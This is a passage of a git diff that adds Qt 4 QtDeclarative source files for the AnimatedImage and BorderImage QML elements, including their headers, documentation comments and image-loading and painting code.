+ if (!d->reply) {
+ setCurrentFrame(d->preset_currentframe);
+ d->preset_currentframe = 0;
+ }
+}
+
+QT_END_NAMESPACE
+
+#endif // QT_NO_MOVIE
diff --git a/src/declarative/graphicsitems/qdeclarativeanimatedimage_p.h b/src/declarative/graphicsitems/qdeclarativeanimatedimage_p.h
new file mode 100644
index 00000000..a72ce782
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativeanimatedimage_p.h
@@ -0,0 +1,116 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEANIMATEDIMAGE_H
+#define QDECLARATIVEANIMATEDIMAGE_H
+
+#include "private/qdeclarativeimage_p.h"
+
+#ifndef QT_NO_MOVIE
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QMovie;
+class QDeclarativeAnimatedImagePrivate;
+
+class Q_AUTOTEST_EXPORT QDeclarativeAnimatedImage : public QDeclarativeImage
+{
+ Q_OBJECT
+
+ Q_PROPERTY(bool playing READ isPlaying WRITE setPlaying NOTIFY playingChanged)
+ Q_PROPERTY(bool paused READ isPaused WRITE setPaused NOTIFY pausedChanged)
+ Q_PROPERTY(int currentFrame READ currentFrame WRITE setCurrentFrame NOTIFY frameChanged)
+ Q_PROPERTY(int frameCount READ frameCount)
+
+ // read-only for AnimatedImage
+ Q_PROPERTY(QSize sourceSize READ sourceSize NOTIFY sourceSizeChanged)
+
+public:
+ QDeclarativeAnimatedImage(QDeclarativeItem *parent=0);
+ ~QDeclarativeAnimatedImage();
+
+ bool isPlaying() const;
+ void setPlaying(bool play);
+
+ bool isPaused() const;
+ void setPaused(bool pause);
+
+ int currentFrame() const;
+ void setCurrentFrame(int frame);
+
+ int frameCount() const;
+
+ // Extends QDeclarativeImage's src property*/
+ virtual void setSource(const QUrl&);
+
+Q_SIGNALS:
+ void playingChanged();
+ void pausedChanged();
+ void frameChanged();
+ void sourceSizeChanged();
+
+private Q_SLOTS:
+ void movieUpdate();
+ void movieRequestFinished();
+ void playingStatusChanged();
+
+protected:
+ virtual void load();
+ void componentComplete();
+
+private:
+ Q_DISABLE_COPY(QDeclarativeAnimatedImage)
+ Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeAnimatedImage)
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeAnimatedImage)
+
+QT_END_HEADER
+
+#endif // QT_NO_MOVIE
+
+#endif
diff --git a/src/declarative/graphicsitems/qdeclarativeanimatedimage_p_p.h b/src/declarative/graphicsitems/qdeclarativeanimatedimage_p_p.h
new file mode 100644
index 00000000..36891d1b
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativeanimatedimage_p_p.h
@@ -0,0 +1,87 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEANIMATEDIMAGE_P_H
+#define QDECLARATIVEANIMATEDIMAGE_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "private/qdeclarativeimage_p_p.h"
+
+#ifndef QT_NO_MOVIE
+
+QT_BEGIN_NAMESPACE
+
+class QMovie;
+class QNetworkReply;
+
+class QDeclarativeAnimatedImagePrivate : public QDeclarativeImagePrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeAnimatedImage)
+
+public:
+ QDeclarativeAnimatedImagePrivate()
+ : playing(true), paused(false), preset_currentframe(0), _movie(0), reply(0), redirectCount(0)
+ {
+ }
+
+ bool playing;
+ bool paused;
+ int preset_currentframe;
+ QMovie *_movie;
+ QNetworkReply *reply;
+ int redirectCount;
+};
+
+QT_END_NAMESPACE
+
+#endif // QT_NO_MOVIE
+
+#endif // QDECLARATIVEANIMATEDIMAGE_P_H
diff --git a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp
new file mode 100644
index 00000000..5babbb2b
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp
@@ -0,0 +1,623 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativeborderimage_p.h"
+#include "private/qdeclarativeborderimage_p_p.h"
+
+#include <qdeclarativeinfo.h>
+#include <private/qdeclarativeengine_p.h>
+
+#include <QNetworkRequest>
+#include <QNetworkReply>
+#include <QFile>
+
+QT_BEGIN_NAMESPACE
+
+/*!
+ \qmlclass BorderImage QDeclarativeBorderImage
+ \brief The BorderImage element provides an image that can be used as a border.
+ \inherits Item
+ \since 4.7
+ \ingroup qml-basic-visual-elements
+
+ The BorderImage element is used to create borders out of images by scaling or tiling
+ parts of each image.
+
+ A BorderImage element breaks a source image, specified using the \l url property,
+ into 9 regions, as shown below:
+
+ \image declarative-scalegrid.png
+
+ When the image is scaled, regions of the source image are scaled or tiled to
+ create the displayed border image in the following way:
+
+ \list
+ \i The corners (regions 1, 3, 7, and 9) are not scaled at all.
+ \i Regions 2 and 8 are scaled according to
+ \l{BorderImage::horizontalTileMode}{horizontalTileMode}.
+ \i Regions 4 and 6 are scaled according to
+ \l{BorderImage::verticalTileMode}{verticalTileMode}.
+ \i The middle (region 5) is scaled according to both
+ \l{BorderImage::horizontalTileMode}{horizontalTileMode} and
+ \l{BorderImage::verticalTileMode}{verticalTileMode}.
+ \endlist
+
+ The regions of the image are defined using the \l border property group, which
+ describes the distance from each edge of the source image to use as a border.
+
+ \section1 Example Usage
+
+ The following examples show the effects of the different modes on an image.
+ Guide lines are overlaid onto the image to show the different regions of the
+ image as described above.
+
+ \beginfloatleft
+ \image qml-borderimage-normal-image.png
+ \endfloat
+
+ An unscaled image is displayed using an Image element. The \l border property is
+ used to determine the parts of the image that will lie inside the unscaled corner
+ areas and the parts that will be stretched horizontally and vertically.
+
+ \snippet doc/src/snippets/declarative/borderimage/normal-image.qml normal image
+
+ \clearfloat
+ \beginfloatleft
+ \image qml-borderimage-scaled.png
+ \endfloat
+
+ A BorderImage element is used to display the image, and it is given a size that is
+ larger than the original image. Since the \l horizontalTileMode property is set to
+ \l{BorderImage::horizontalTileMode}{BorderImage.Stretch}, the parts of image in
+ regions 2 and 8 are stretched horizontally. Since the \l verticalTileMode property
+ is set to \l{BorderImage::verticalTileMode}{BorderImage.Stretch}, the parts of image
+ in regions 4 and 6 are stretched vertically.
+
+ \snippet doc/src/snippets/declarative/borderimage/borderimage-scaled.qml scaled border image
+
+ \clearfloat
+ \beginfloatleft
+ \image qml-borderimage-tiled.png
+ \endfloat
+
+ Again, a large BorderImage element is used to display the image. With the
+ \l horizontalTileMode property set to \l{BorderImage::horizontalTileMode}{BorderImage.Repeat},
+ the parts of image in regions 2 and 8 are tiled so that they fill the space at the
+ top and bottom of the element. Similarly, the \l verticalTileMode property is set to
+ \l{BorderImage::verticalTileMode}{BorderImage.Repeat}, the parts of image in regions
+ 4 and 6 are tiled so that they fill the space at the left and right of the element.
+
+ \snippet doc/src/snippets/declarative/borderimage/borderimage-tiled.qml tiled border image
+
+ \clearfloat
+ In some situations, the width of regions 2 and 8 may not be an exact multiple of the width
+ of the corresponding regions in the source image. Similarly, the height of regions 4 and 6
+ may not be an exact multiple of the height of the corresponding regions. It can be useful
+ to use \l{BorderImage::horizontalTileMode}{BorderImage.Round} instead of
+ \l{BorderImage::horizontalTileMode}{BorderImage.Repeat} in cases like these.
+
+ The \l{declarative/imageelements/borderimage}{BorderImage example} shows how a BorderImage
+ can be used to simulate a shadow effect on a rectangular item.
+
+ \section1 Quality and Performance
+
+ By default, any scaled regions of the image are rendered without smoothing to improve
+ rendering speed. Setting the \l smooth property improves rendering quality of scaled
+ regions, but may slow down rendering.
+
+ The source image may not be loaded instantaneously, depending on its original location.
+ Loading progress can be monitored with the \l progress property.
+
+ \sa Image, AnimatedImage
+ */
+
+/*!
+ \qmlproperty bool BorderImage::asynchronous
+
+ Specifies that images on the local filesystem should be loaded
+ asynchronously in a separate thread. The default value is
+ false, causing the user interface thread to block while the
+ image is loaded. Setting \a asynchronous to true is useful where
+ maintaining a responsive user interface is more desirable
+ than having images immediately visible.
+
+ Note that this property is only valid for images read from the
+ local filesystem. Images loaded via a network resource (e.g. HTTP)
+ are always loaded asynchonously.
+*/
+QDeclarativeBorderImage::QDeclarativeBorderImage(QDeclarativeItem *parent)
+ : QDeclarativeImageBase(*(new QDeclarativeBorderImagePrivate), parent)
+{
+}
+
+QDeclarativeBorderImage::~QDeclarativeBorderImage()
+{
+ Q_D(QDeclarativeBorderImage);
+ if (d->sciReply)
+ d->sciReply->deleteLater();
+}
+/*!
+ \qmlproperty enumeration BorderImage::status
+
+ This property describes the status of image loading. It can be one of:
+
+ \list
+ \o BorderImage.Null - no image has been set
+ \o BorderImage.Ready - the image has been loaded
+ \o BorderImage.Loading - the image is currently being loaded
+ \o BorderImage.Error - an error occurred while loading the image
+ \endlist
+
+ \sa progress
+*/
+
+/*!
+ \qmlproperty real BorderImage::progress
+
+ This property holds the progress of image loading, from 0.0 (nothing loaded)
+ to 1.0 (finished).
+
+ \sa status
+*/
+
+/*!
+ \qmlproperty bool BorderImage::smooth
+
+ Set this property if you want the image to be smoothly filtered when scaled or
+ transformed. Smooth filtering gives better visual quality, but is slower. If
+ the image is displayed at its natural size, this property has no visual or
+ performance effect.
+
+ By default, this property is set to false.
+
+ \note Generally scaling artifacts are only visible if the image is stationary on
+ the screen. A common pattern when animating an image is to disable smooth
+ filtering at the beginning of the animation and enable it at the conclusion.
+*/
+
+/*!
+ \qmlproperty bool BorderImage::cache
+ \since QtQuick 1.1
+
+ Specifies whether the image should be cached. The default value is
+ true. Setting \a cache to false is useful when dealing with large images,
+ to make sure that they aren't cached at the expense of small 'ui element' images.
+*/
+
+/*!
+ \qmlproperty bool BorderImage::mirror
+ \since QtQuick 1.1
+
+ This property holds whether the image should be horizontally inverted
+ (effectively displaying a mirrored image).
+
+ The default value is false.
+*/
+
+/*!
+ \qmlproperty url BorderImage::source
+
+ This property holds the URL that refers to the source image.
+
+ BorderImage can handle any image format supported by Qt, loaded from any
+ URL scheme supported by Qt.
+
+ This property can also be used to refer to .sci files, which are
+ written in a QML-specific, text-based format that specifies the
+ borders, the image file and the tile rules for a given border image.
+
+ The following .sci file sets the borders to 10 on each side for the
+ image \c picture.png:
+
+ \code
+ border.left: 10
+ border.top: 10
+ border.bottom: 10
+ border.right: 10
+ source: "picture.png"
+ \endcode
+
+ The URL may be absolute, or relative to the URL of the component.
+
+ \sa QDeclarativeImageProvider
+*/
+
+/*!
+ \qmlproperty QSize BorderImage::sourceSize
+
+ This property holds the actual width and height of the loaded image.
+
+ In BorderImage, this property is read-only.
+
+ \sa Image::sourceSize
+*/
+void QDeclarativeBorderImage::setSource(const QUrl &url)
+{
+ Q_D(QDeclarativeBorderImage);
+ //equality is fairly expensive, so we bypass for simple, common case
+ if ((d->url.isEmpty() == url.isEmpty()) && url == d->url)
+ return;
+
+ if (d->sciReply) {
+ d->sciReply->deleteLater();
+ d->sciReply = 0;
+ }
+
+ d->url = url;
+ d->sciurl = QUrl();
+ emit sourceChanged(d->url);
+
+ if (isComponentComplete())
+ load();
+}
+
+void QDeclarativeBorderImage::setSourceSize(const QSize& size)
+{
+ Q_UNUSED(size);
+ qmlInfo(this) << "Setting sourceSize for borderImage not supported";
+}
+
+void QDeclarativeBorderImage::load()
+{
+ Q_D(QDeclarativeBorderImage);
+ if (d->progress != 0.0) {
+ d->progress = 0.0;
+ emit progressChanged(d->progress);
+ }
+
+ if (d->url.isEmpty()) {
+ d->pix.clear(this);
+ d->status = Null;
+ setImplicitWidth(0);
+ setImplicitHeight(0);
+ emit statusChanged(d->status);
+ update();
+ } else {
+ d->status = Loading;
+ if (d->url.path().endsWith(QLatin1String("sci"))) {
+#ifndef QT_NO_LOCALFILE_OPTIMIZED_QML
+ QString lf = QDeclarativeEnginePrivate::urlToLocalFileOrQrc(d->url);
+ if (!lf.isEmpty()) {
+ QFile file(lf);
+ file.open(QIODevice::ReadOnly);
+ setGridScaledImage(QDeclarativeGridScaledImage(&file));
+ } else
+#endif
+ {
+ QNetworkRequest req(d->url);
+ d->sciReply = qmlEngine(this)->networkAccessManager()->get(req);
+
+ static int sciReplyFinished = -1;
+ static int thisSciRequestFinished = -1;
+ if (sciReplyFinished == -1) {
+ sciReplyFinished =
+ QNetworkReply::staticMetaObject.indexOfSignal("finished()");
+ thisSciRequestFinished =
+ QDeclarativeBorderImage::staticMetaObject.indexOfSlot("sciRequestFinished()");
+ }
+
+ QMetaObject::connect(d->sciReply, sciReplyFinished, this,
+ thisSciRequestFinished, Qt::DirectConnection);
+ }
+ } else {
+
+ QDeclarativePixmap::Options options;
+ if (d->async)
+ options |= QDeclarativePixmap::Asynchronous;
+ if (d->cache)
+ options |= QDeclarativePixmap::Cache;
+ d->pix.clear(this);
+ d->pix.load(qmlEngine(this), d->url, options);
+
+ if (d->pix.isLoading()) {
+ d->pix.connectFinished(this, SLOT(requestFinished()));
+ d->pix.connectDownloadProgress(this, SLOT(requestProgress(qint64,qint64)));
+ } else {
+ QSize impsize = d->pix.implicitSize();
+ setImplicitWidth(impsize.width());
+ setImplicitHeight(impsize.height());
+
+ if (d->pix.isReady()) {
+ d->status = Ready;
+ } else {
+ d->status = Error;
+ qmlInfo(this) << d->pix.error();
+ }
+
+ d->progress = 1.0;
+ emit statusChanged(d->status);
+ emit progressChanged(d->progress);
+ requestFinished();
+ update();
+ }
+ }
+ }
+
+ emit statusChanged(d->status);
+}
+
+/*!
+ \qmlproperty int BorderImage::border.left
+ \qmlproperty int BorderImage::border.right
+ \qmlproperty int BorderImage::border.top
+ \qmlproperty int BorderImage::border.bottom
+
+ The 4 border lines (2 horizontal and 2 vertical) break the image into 9 sections,
+ as shown below:
+
+ \image declarative-scalegrid.png
+
+ Each border line (left, right, top, and bottom) specifies an offset in pixels
+ from the respective edge of the source image. By default, each border line has
+ a value of 0.
+
+ For example, the following definition sets the bottom line 10 pixels up from
+ the bottom of the image:
+
+ \qml
+ BorderImage {
+ border.bottom: 10
+ // ...
+ }
+ \endqml
+
+ The border lines can also be specified using a
+ \l {BorderImage::source}{.sci file}.
+*/
+
+QDeclarativeScaleGrid *QDeclarativeBorderImage::border()
+{
+ Q_D(QDeclarativeBorderImage);
+ return d->getScaleGrid();
+}
+
+/*!
+ \qmlproperty enumeration BorderImage::horizontalTileMode
+ \qmlproperty enumeration BorderImage::verticalTileMode
+
+ This property describes how to repeat or stretch the middle parts of the border image.
+
+ \list
+ \o BorderImage.Stretch - Scales the image to fit to the available area.
+ \o BorderImage.Repeat - Tile the image until there is no more space. May crop the last image.
+ \o BorderImage.Round - Like Repeat, but scales the images down to ensure that the last image is not cropped.
+ \endlist
+
+ The default tile mode for each property is BorderImage.Stretch.
+*/
+QDeclarativeBorderImage::TileMode QDeclarativeBorderImage::horizontalTileMode() const
+{
+ Q_D(const QDeclarativeBorderImage);
+ return d->horizontalTileMode;
+}
+
+void QDeclarativeBorderImage::setHorizontalTileMode(TileMode t)
+{
+ Q_D(QDeclarativeBorderImage);
+ if (t != d->horizontalTileMode) {
+ d->horizontalTileMode = t;
+ emit horizontalTileModeChanged();
+ update();
+ }
+}
+
+QDeclarativeBorderImage::TileMode QDeclarativeBorderImage::verticalTileMode() const
+{
+ Q_D(const QDeclarativeBorderImage);
+ return d->verticalTileMode;
+}
+
+void QDeclarativeBorderImage::setVerticalTileMode(TileMode t)
+{
+ Q_D(QDeclarativeBorderImage);
+ if (t != d->verticalTileMode) {
+ d->verticalTileMode = t;
+ emit verticalTileModeChanged();
+ update();
+ }
+}
+
+void QDeclarativeBorderImage::setGridScaledImage(const QDeclarativeGridScaledImage& sci)
+{
+ Q_D(QDeclarativeBorderImage);
+ if (!sci.isValid()) {
+ d->status = Error;
+ emit statusChanged(d->status);
+ } else {
+ QDeclarativeScaleGrid *sg = border();
+ sg->setTop(sci.gridTop());
+ sg->setBottom(sci.gridBottom());
+ sg->setLeft(sci.gridLeft());
+ sg->setRight(sci.gridRight());
+ d->horizontalTileMode = sci.horizontalTileRule();
+ d->verticalTileMode = sci.verticalTileRule();
+
+ d->sciurl = d->url.resolved(QUrl(sci.pixmapUrl()));
+
+ QDeclarativePixmap::Options options;
+ if (d->async)
+ options |= QDeclarativePixmap::Asynchronous;
+ if (d->cache)
+ options |= QDeclarativePixmap::Cache;
+ d->pix.clear(this);
+ d->pix.load(qmlEngine(this), d->sciurl, options);
+
+ if (d->pix.isLoading()) {
+ static int thisRequestProgress = -1;
+ static int thisRequestFinished = -1;
+ if (thisRequestProgress == -1) {
+ thisRequestProgress =
+ QDeclarativeBorderImage::staticMetaObject.indexOfSlot("requestProgress(qint64,qint64)");
+ thisRequestFinished =
+ QDeclarativeBorderImage::staticMetaObject.indexOfSlot("requestFinished()");
+ }
+
+ d->pix.connectFinished(this, thisRequestFinished);
+ d->pix.connectDownloadProgress(this, thisRequestProgress);
+
+ } else {
+
+ QSize impsize = d->pix.implicitSize();
+ setImplicitWidth(impsize.width());
+ setImplicitHeight(impsize.height());
+
+ if (d->pix.isReady()) {
+ d->status = Ready;
+ } else {
+ d->status = Error;
+ qmlInfo(this) << d->pix.error();
+ }
+
+ d->progress = 1.0;
+ emit statusChanged(d->status);
+ emit progressChanged(1.0);
+ update();
+
+ }
+ }
+}
+
+void QDeclarativeBorderImage::requestFinished()
+{
+ Q_D(QDeclarativeBorderImage);
+
+ QSize impsize = d->pix.implicitSize();
+ if (d->pix.isError()) {
+ d->status = Error;
+ qmlInfo(this) << d->pix.error();
+ } else {
+ d->status = Ready;
+ }
+
+ setImplicitWidth(impsize.width());
+ setImplicitHeight(impsize.height());
+
+ if (d->sourcesize.width() != d->pix.width() || d->sourcesize.height() != d->pix.height())
+ emit sourceSizeChanged();
+
+ d->progress = 1.0;
+ emit statusChanged(d->status);
+ emit progressChanged(1.0);
+ update();
+}
+
+#define BORDERIMAGE_MAX_REDIRECT 16
+
+void QDeclarativeBorderImage::sciRequestFinished()
+{
+ Q_D(QDeclarativeBorderImage);
+
+ d->redirectCount++;
+ if (d->redirectCount < BORDERIMAGE_MAX_REDIRECT) {
+ QVariant redirect = d->sciReply->attribute(QNetworkRequest::RedirectionTargetAttribute);
+ if (redirect.isValid()) {
+ QUrl url = d->sciReply->url().resolved(redirect.toUrl());
+ setSource(url);
+ return;
+ }
+ }
+ d->redirectCount=0;
+
+ if (d->sciReply->error() != QNetworkReply::NoError) {
+ d->status = Error;
+ d->sciReply->deleteLater();
+ d->sciReply = 0;
+ emit statusChanged(d->status);
+ } else {
+ QDeclarativeGridScaledImage sci(d->sciReply);
+ d->sciReply->deleteLater();
+ d->sciReply = 0;
+ setGridScaledImage(sci);
+ }
+}
+
+void QDeclarativeBorderImage::doUpdate()
+{
+ update();
+}
+
+void QDeclarativeBorderImage::paint(QPainter *p, const QStyleOptionGraphicsItem *, QWidget *)
+{
+ Q_D(QDeclarativeBorderImage);
+ if (d->pix.isNull() || d->width() <= 0.0 || d->height() <= 0.0)
+ return;
+
+ bool oldAA = p->testRenderHint(QPainter::Antialiasing);
+ bool oldSmooth = p->testRenderHint(QPainter::SmoothPixmapTransform);
+ QTransform oldTransform;
+ if (d->smooth)
+ p->setRenderHints(QPainter::Antialiasing | QPainter::SmoothPixmapTransform, d->smooth);
+ if (d->mirror) {
+ oldTransform = p->transform();
+ QTransform mirror;
+ mirror.translate(d->width(), 0).scale(-1, 1.0);
+ p->setWorldTransform(mirror * oldTransform);
+ }
+
+ const QDeclarativeScaleGrid *border = d->getScaleGrid();
+ int left = border->left();
+ int right = border->right();
+ qreal borderWidth = left + right;
+ if (borderWidth > 0.0 && d->width() < borderWidth) {
+ qreal diff = borderWidth - d->width() - 1;
+ left -= qRound(diff * qreal(left) / borderWidth);
+ right -= qRound(diff * qreal(right) / borderWidth);
+ }
+ int top = border->top();
+ int bottom = border->bottom();
+ qreal borderHeight = top + bottom;
+ if (borderHeight > 0.0 && d->height() < borderHeight) {
+ qreal diff = borderHeight - d->height() - 1;
+ top -= qRound(diff * qreal(top) / borderHeight);
+ bottom -= qRound(diff * qreal(bottom) / borderHeight);
+ }
+ QMargins margins(left, top, right, bottom);
+ QTileRules rules((Qt::TileRule)d->horizontalTileMode, (Qt::TileRule)d->verticalTileMode);
+ qDrawBorderPixmap(p, QRect(0, 0, (int)d->width(), (int)d->height()), margins, d->pix, d->pix.rect(), margins, rules);
+ if (d->smooth) {
+ p->setRenderHint(QPainter::Antialiasing, oldAA);
+ p->setRenderHint(QPainter::SmoothPixmapTransform, oldSmooth);
+ }
+ if (d->mirror)
+ p->setWorldTransform(oldTransform);
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/graphicsitems/qdeclarativeborderimage_p.h b/src/declarative/graphicsitems/qdeclarativeborderimage_p.h
new file mode 100644
index 00000000..3db573c8
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativeborderimage_p.h
@@ -0,0 +1,109 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEBORDERIMAGE_H
+#define QDECLARATIVEBORDERIMAGE_H
+
+#include "private/qdeclarativeimagebase_p.h"
+
+#include <QtNetwork/qnetworkreply.h>
+
+QT_BEGIN_HEADER
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeScaleGrid;
+class QDeclarativeGridScaledImage;
+class QDeclarativeBorderImagePrivate;
+class Q_AUTOTEST_EXPORT QDeclarativeBorderImage : public QDeclarativeImageBase
+{
+ Q_OBJECT
+ Q_ENUMS(TileMode)
+
+ Q_PROPERTY(QDeclarativeScaleGrid *border READ border CONSTANT)
+ Q_PROPERTY(TileMode horizontalTileMode READ horizontalTileMode WRITE setHorizontalTileMode NOTIFY horizontalTileModeChanged)
+ Q_PROPERTY(TileMode verticalTileMode READ verticalTileMode WRITE setVerticalTileMode NOTIFY verticalTileModeChanged)
+
+public:
+ QDeclarativeBorderImage(QDeclarativeItem *parent=0);
+ ~QDeclarativeBorderImage();
+
+ QDeclarativeScaleGrid *border();
+
+ enum TileMode { Stretch = Qt::StretchTile, Repeat = Qt::RepeatTile, Round = Qt::RoundTile };
+
+ TileMode horizontalTileMode() const;
+ void setHorizontalTileMode(TileMode);
+
+ TileMode verticalTileMode() const;
+ void setVerticalTileMode(TileMode);
+
+ void paint(QPainter *, const QStyleOptionGraphicsItem *, QWidget *);
+ void setSource(const QUrl &url);
+
+ void setSourceSize(const QSize&);
+
+Q_SIGNALS:
+ void horizontalTileModeChanged();
+ void verticalTileModeChanged();
+
+protected:
+ virtual void load();
+
+private:
+ void setGridScaledImage(const QDeclarativeGridScaledImage& sci);
+
+private Q_SLOTS:
+ void doUpdate();
+ void requestFinished();
+ void sciRequestFinished();
+
+private:
+ Q_DISABLE_COPY(QDeclarativeBorderImage)
+ Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeBorderImage)
+};
+
+QT_END_NAMESPACE
+QML_DECLARE_TYPE(QDeclarativeBorderImage)
+QT_END_HEADER
+
+#endif // QDECLARATIVEBORDERIMAGE_H
diff --git a/src/declarative/graphicsitems/qdeclarativeborderimage_p_p.h b/src/declarative/graphicsitems/qdeclarativeborderimage_p_p.h
new file mode 100644
index 00000000..872175f4
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativeborderimage_p_p.h
@@ -0,0 +1,106 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
